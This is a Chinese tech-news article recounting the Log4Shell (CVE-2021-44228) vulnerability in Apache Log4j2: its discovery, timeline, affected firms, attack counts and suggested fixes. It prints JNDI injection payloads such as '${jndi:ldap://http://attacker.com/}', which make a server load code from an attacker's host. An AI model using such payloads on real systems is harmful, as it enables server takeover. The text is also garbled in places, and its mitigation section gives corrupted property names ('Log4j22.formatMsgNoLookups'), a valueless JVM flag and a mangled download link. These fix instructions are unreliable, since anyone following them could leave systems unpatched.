当前位置: 首页 > 科技观察

中国程序员抢先预警“史诗级”漏洞,席卷苹果特斯拉

时间:2023-03-12 03:59:43 科技观察

2021年11月24日,阿里云安全团队仍在照常排查漏洞。没想到,团队成员之一的陈兆军挖出了一个“近十年来影响最大、最严重的漏洞”——Log4Shell。有了这个漏洞,攻击者只需要提交一个字符串就可以访问对方的服务器,甚至可以上传并运行其中的任何代码!于是,12月10日,原本准备周末的大厂程序员们全部起床加班通宵处理漏洞。这个漏洞影响了多少大公司?由于Log4j2库如此火爆,包括Apple、Tesla、Amazon、Cloudflare、ElasticSearch、RedHat、Twitter、Steam、百度、网易、腾讯等在内的各大公司都会受到影响。有可能,数百甚至数千个其他组织也会受到影响。一些信息安全研究人员预计,未来几天对互联网服务器的攻击将急剧增加。恐怖时刻11月24日,开源项目ApacheLog4j2的远程代码执行漏洞被提交。12月7日上午,Apache发布了2.15.0-rc1版本更新。12月9日晚,该漏洞的利用细节被公开,其影响范围几乎跨越了整个版本(从2.0到2.14.1-rc1)。大家升级到2.15.0-rc1的时候,发现补丁还是可以绕过的。12月10日凌晨2点30分左右,ApacheLog4j2紧急更新到2.15.0-rc2版本。此时,各大工厂几乎都在通宵维修。据火绒不完全统计,仅在Github上,就有60644个开源项目发布的321094个软件包存在风险。该漏洞可以说影响了互联网上70%以上企业系统的正常运行。在Java开发框架中,受Log4j2Top10影响(来源:TinderSecurity)。此漏洞称为CVE-2021-44228,也称为Log4Shell或LogJam。这是一个远程代码执行(RCE)漏洞,存在于“成千上万的应用程序正在使用开源Java日志库Log4j2。由于Java应用程序通常记录各种各样的事件,例如用户发送和接收的消息,或系统错误的详细信息,可以通过多种方式触发该漏洞。该漏洞最危险的是太容易被攻击者利用。即使是没有经验的普通人也可以利用该漏洞成功执行攻击.攻击者只需向服务器发送一条特殊消息(包含类似${jndi:ldap://server.com/a}的字符串)即可执行任意代码并可能完全控制系统。据阿里@programmerziyou介绍,服务端会使用Log4j2记录攻击者发送的requestsink中包含的基于JNDI和LDAP的恶意payload${jndi:ldap://http://attacker.com/},其中,http://attacker.com是攻击者控制的地址。当服务器通过JNDI请求http://server.com并触发恶意负载时,http://attacker.com可以在响应中添加任何可执行脚本并将其注入服务器进程。因此,在周末,大大小小的公司的安全团队都在争先恐后地修补Log4Shell漏洞,该漏洞可能会让黑客破坏互联网上的数百万台设备。黑客们也没闲着。安全服务提供商imperva当天监测到超过140万次针对CVE-2021-44228的攻击。新西兰的计算机应急响应小组(CERT)、德国电信和Greynoise的网络监控服务都发出警告:“攻击者已经在积极利用这个漏洞”。根据Greynoise的说法,大约100个不同的主机正在寻找大规模利用Log4j2漏洞的方法。很快,多家信息安全新闻机构报道了在ApacheLog4j2库中发现的严重漏洞CVE-2021-44228,CVSS严重级别为10。阿里云安全团队于12月10日发布公告。https://help.aliyun.com/noticelist/articleid/1060971232.html国家互联网应急中心12月10日发布公告https://www.cert.org.cn/publish/main/9/2021/20211210110550958546708/20211210110550958546708_.html美国国家计算机常见漏洞数据库于12月10日发布公告。https://nvd.nist.gov/vuln/detail/CVE-2021-44228Apache基金会也迅速响应,建议所有开发者尽快升级,将正在使用的Log4j2库更新到2.15.0版本.如果由于某种原因无法升级,请使用ApacheLog4j2安全漏洞页面中介绍的方法进行保存。12月12日,有网友反映银行的程序已经无法使用了。据推测,他们可能正在加班加点调查。看来影响的范围确实是挺大的。这下程序员们都快哭了,纷纷抱怨:“连夜抢修”“忙了半天”重现漏洞。国家级搜索引擎百度率先受到广大网友的猛烈考验!漏洞刚曝光时,在百度搜索框中输入命令,可以在dnslog中找到访问信息,随后开发者也紧急修复了该漏洞。随后,网友们闯入了向来以安全着称的苹果公司。Minecraft也被残忍地谋杀了。由于Minecraft在其软件中也使用了Log4j2,且使用范围广泛,因此除Mohist1.18以外的所有系列Minecraft版本服务器均处于高危状态。这允许通过在聊天栏中输入命令在游戏中作弊。对于Minecraft服务器所有者来说,现在最重要的是立即关闭服务器,并进行升级和紧急修复。普通玩家需要等待服务器确认修复完成。解决方案根据360的建议,用户可以进行如下操作。常规方案中使用ApacheLog4j2的用户,请将程序更新至官方最新安全版本(2.15.0-rc2)。下载地址:https://github.com/apache/logging-Log4j22/releases/tag/Log4j2-2.15.0-rc2临时应急方案修改Log4j2配置:Log4j22.formatMsgNoLookups=True设置JVM启动参数:-DLog4j22.formatMsgNoLookups=设置环境变量为true:FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS值为true,可以提高周边设置的安全性。以下设置或操作可能会起到预防此安全事件的作用,但不能确保安全。建议根据实际应用场景进行配置:尽量使用高版本的JDK使用rasp阻断lookup的调用使用waf拦截流量中的${jndi禁止所有不必要的外部数据开源项目的风险Log4j2安全事故一出,广大用户不禁又开始怀疑:开源软件真的安全吗?一方面,大家认为对于开源软件来说,代码都在手,在遵守开源协议的情况下,基本上就是无偿卖淫。另一方面,我觉得这么多人盯着这段代码,肯定没有bug,不然肯定会有人提issue来修复的。依靠企业级维护支持和安全性,而无需花费太多资金。众所周知,大多数开源软件都是作者利用业余时间开发的,为开源社区贡献代码的动力全部来自明星和“用爱发电”。正是因为免费,一些开源软件的受众特别多,从小公司到千亿市值的企业。一旦出现漏洞,后果不堪设想。所以,开源有风险,谨慎使用!